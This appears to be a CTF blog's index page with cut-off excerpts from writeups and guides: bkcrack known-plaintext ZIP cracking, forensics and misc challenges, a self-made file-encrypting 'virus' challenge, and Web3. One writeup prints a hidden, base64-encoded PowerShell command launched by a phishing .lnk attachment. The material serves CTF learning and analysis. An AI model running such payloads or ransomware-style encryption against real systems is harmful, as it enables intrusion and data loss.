使用 bkcrack 对 ZipCrypto 加密的 ZIP 文件进行明文爆破
在经历了鹏城杯 2025 的各种 bkcrack 明文攻击后,我觉得我需要写一篇文章来汇总一下 bkcrack 这东西
bkcrack: https://github.com/kimci86/bkcrack/releases
如果你想更多地了解原理,可以阅读这篇论文,本文不讲原理
https://doi.org/10.1007/3-540-60590-8_12
先决条件加密方式ZIP 的加密算法常见的就两种,一个是 ZipCrypto,一个是 AES-256;根据压缩方式,有 Deflate 和 Store(不压缩)。为了能够使用 bkcrack 进行明文攻击,我们手上的加密压缩包必须是 ZipCrypto 加密,即
ZipCrypto Store
ZipCrypto Deflate(至少拥有一个完整明文,即完整文件)
这两个是可以进行明文攻击的
已知明文从我们的攻击方式「明文攻击」就知道,我们必须知道一部分明文才能够对文件进行攻击。
根据论文,我们需要知道密文中已知至少 12 字节的明文,才能够对压缩包进行攻击操作
实测上,貌似 12 字节也不是必须的,10 字节也出 ...
2025 第五届“鹏城杯”联邦网络靶场协同攻防演练(初赛)个人 Writeup
我先燃尽了,四次 bkcrack,出题人是真喜欢这东西啊
还有一堆散点杂色像素图,看的眼睛都要瞎啦
您每题的图片都要藏那么点东西是吗
本次的 PCB 我负责的是 Misc 部分(毕竟我们队里三个搞 Web 的,不如放给那两个经验丰富的 Web 手来搞,我还是回归我擅长的 Misc 领域吧,Web 转 Misc 这块),所以下面我会讲一讲 Misc 部分我的思路,解出来了的题目会标记 Solved 的
下面放一下战况
time | Solved题目上来就给了个 ELF 文件
nc 给出的服务器,会给出 base64 编码后的 zip 文件数据流,并询问现在几点
解压出来发现图片,就是个时钟
因为 OpenCV 的识别率不高,且考虑到只有 12 种情况,所以用建哈希表的玩法
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import base64import sysfrom pwn import remote, contextfrom ...
ADCTF 2025 个人出题记录
ADCTF2025 所有题目源码及选手 Writeup:https://github.com/GDUT-ADSec/ADCTF2025
ADCTF2025 所有本人出的题目源码:https://github.com/GDUTMeow-Challenges/ADCTF2025-Challenges
ForensicDangerous Worm
题目仓库:https://github.com/GDUTMeow-Challenges/Challenge-Dangerous-Worm
出这道内存取证主要是在羊城杯里面做到了一题你也是旮旯给木大师?,那个题目是病毒分析+内存取证,给了我启发,于是我也决定出这么一题来玩玩。
编写病毒首先是怎么编写病毒,我的本身就是用 AES-CBC 只加密部分文件,然后再把密钥保存到电脑里头,向量用程序自身的
于是就简单的写了一个加密用户桌面等文件夹的一个病毒程序(源码在仓库里可以去看),顺带加了个防呆设计(避免我自己运行了病毒)
123456def main(): # 安全起见,获取计算机名称 PC_NAME = os.getenv(&qu ...
2025 羊城杯决赛个人做题思路 Writeup
本次羊城杯比赛主要分为了三个部分:综合渗透、应急响应、数据安全,而在比赛中我主要负责的是应急响应和数据安全部分
综合渗透和应急响应是有交叉的,所以我会丢在一起讲
数据安全本次我做的是数据安全的第二到第四题,第一题用 AI 梭了,但是有问题,后面队友补充了,我这里讲一下后面三道题目吧
交完最后一个 DS4 也是美美暂时做到了第一的宝座
DS2
本题考点为数据脱敏,选手需要通过 SSH(端口10222)连接环境,修改现有 PHP 接口代码(api.php),使其在读取数据库表单中包含敏感信息时,自动进行脱敏输出。完成后访问 Check 服务进行检测,Check 通过即可获得 FLAG。
接口文件:api.php 判定标准: 返回数据中,敏感数字字段进行脱敏格式处理,并且不能修改原数据。
其余字段(uuid, username, email, gender, age 等)与数据库一致。
给了 api.php,实际上重点在下面查询数据库并输出的地方
123456789101112131415161718192021222324252627282930313233343536373839 ...
2025 湾区杯决赛(AKA 珠海旅行记录)
本次也是非常幸运的,在候补名单里面进了 GBACC 的决赛
因为得到消息的时候,是周四,我们下周一就要打决赛了,所以光速定了酒店和过去的高铁票
同样,因为是决赛,所以很可能就会变成我们的公费旅游环节,比赛的东西我会放到最后的
旅游比赛前日——出发
我们是周六去的珠海,当天早上买的 10:14 的票从南站出发去的,第一次坐到有这样的桌子的高铁
我们总共两个队伍去,在我们没有商量的情况下,我们甚至买的同一班高铁(笑哭)
到了以后,我们先去酒店办理入住,但是因为我们来的太早了,实在是没有清理好的客房,于是让我们做了个登记,我们就去吃午餐了
在附近的广场吃完午餐,就去赛场先签到了
比赛前日——签到比赛场馆是珠海国际会展中心,这个地方说实话,是真的大啊~~~
给你们看张酒店拍的图,感受一下(对面是澳门)
反正一路上走,看到很多湾区杯的牌牌,想着跟着走准没错,结果走了快20分钟才到那个门口(问就是找错门了)
首先在门口看到的,就是两个大牌牌
然后我们一路坐电梯上到4楼(这栋建筑只有1楼和4楼),找到签到处,签了个到,领取了我们的物资
其实我们第一次来的时候,来太早了,他们没上班,我们在 ...
【Volcania】2025 湾区杯初赛 Writeup
Miscbademail | 未解出
我收到了来自hr的邮件,当我打开附件的时候一个黑框一闪而过,我立刻上报了IT部门,于是他们拿走了我的硬盘。
给的是一个 RAID0 的文件,直接 R-Studio 读取就行,从 Thunderbird 的数据目录可以得到 INBOX 收件箱
这里面的最后一封邮件就是所谓的HR邮件
邮件内有
12From: =?GBK?B?wfW378P5?= <hnhuimeng_hr@163.com>Return-Path: hnhuimeng_hr@163.com
发件和回执地址相同,可以认为是真实发件邮箱
把附件拿出来,按照规定的密码解压,发现是一个 lnk 文件,实际执行的是
1C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -enc "JJAB6AGQAPQAgAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuADsAJABjAGEAcABlAD0AIAAiACQAegBkAFwAVm5XU9h+pmgJZ1CWbFH4U6F7BnTEiZpbLg ...
【Volcania】LilCTF2025 Writeup
WebEkko Note数据库关系如下
通过这里的注释,可以猜到题目大概与random伪随机有关系,如果拿到seed,就可以预测random生成的随机值
1234# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。# 反正整个程序没有一个地方用到random库。应该没有什么问题。import randomrandom.seed(SERVER_START_TIME)
题目提到的 RCE 相关代码
123456789101112131415161718@app.route('/execute_command', methods=['GET', 'POST'])@login_requireddef execute_command(): result = check_time_api() if result is None: flash("API死了啦,都你害的啦。", "danger") return redi ...
【Volcania】DASCTF 2025 上半年线上赛 Writeup
Misc[Misc] BlueTrace | @Ron @Luminoria打开文件发现是蓝牙流量,跑一下 strings 发现有一个 flag.png
Package 4267 传了一个 jpg 文件
Package 34714 看起来传输了一个 ZIP 包,里面有上面跑出来的 flag.png
obex 是明文协议,但是 WireShark 会自动根据 OBEX 的数据包头重新组装数据包,所以会导致在 Wireshark 里面提取出问题
用 tshark 来 dump 一下
1$ tshark -r BlueTrace.pcapng -Y "obex.opcode == 0x02" -T fields -e obex.header.value.byte_sequence > hex.txt
把提取的 hex 流丢到赛博厨子里面,转成二进制文件
把这个图用 binwalk 来 walk 一下,提取后面的 zip 文件
打开提取后的文件夹,发现有个提示「压缩包密码是蓝牙传输的目标电脑名字」
回到数据包,发现电脑名字有乱码,可能存在非 ASCII 字 ...
【更新中】Web3 CTF 从入门到入土
从我复读考上大学以后继续打 CTF,我就发现了跟我以前打 CTF 相比,现在的 CTF 的 Misc 中加入了更多的新题,而其中就有 Web3 这一分支。而我在网上冲浪的时候发现 Web3 的教程还是太少了(毕竟这东西太新了),于是我决定写一篇 Web3 的各方面的文章,包含所有我会遇到的东西,不仅是我自己能看,其他 Web3 小萌新也可以进行学习,于是就有了本文
因为我个人是写文章是习惯性地尽可能详细的(特别是技术文),所以如果觉得本文啰嗦的话,可以跳着看,目录在右边的公告栏下方
我会根据我自己学习的进度来更新本文章,这是长线作战,我会尽量坚持下来的
本文将会使用钱包 0xF126dCA69E9c9E5f128bb718b98f3544F9A8b413 作为测试用户
My wallet address: 0x8888813Cb0Dc768CDd0D9b3e62674E715a13d611
因为本站使用的代码高亮 highlight.js 对 Solidity 的支持是战五渣级别的,为了良好的阅读体验,对于 Solidity 代码,我会使用下面这个工具进行高亮后,再以 html 代 ...
第十八届软件系统安全赛 CCSSSC 2025 全国总决赛复盘(旅行日记)
我们 CTF 玩家就是拿着台电脑过去一开坐一天就结束了 —— Ron#1337
没错,在 5.17-5.18,我们 Volcania 参加了第十八届软件系统安全赛攻防赛全国总决赛
这次说是总决赛,但其实队我们队伍来说应该是公费旅游环节,我们在这场总决赛中确确实实爆零了(┬_┬)
比赛不是哥们?湖南大学还能停电的啊???开赛前半个小时停电了,连电灯都没了,大概率是过载了……
后来给了我们附件压缩包,说密码一起给,结果到电恢复了都没给 =-=
本次比赛总共有十道题目,并且出现了很明显的领域交叉情况(就是说 re 带 misc 之类的这种情况),而且涉及到的知识点也非常地广
Seijaku
seijaku提示:1、/openapi.json
Seijaku提示:2、大概就是用给定的固定密钥 + 当前 Unix 秒级时间戳进行 CRC64,把这个值发送给 C2 服务器,然后和固定密钥进行循环异或作为本次 RC4 加密密钥。
Seijaku提示:3、user:user
最开始拿到附件,给了一个流量包,从流量包可以提取到一个附件,并且通过链接可以得到以下信息 ...













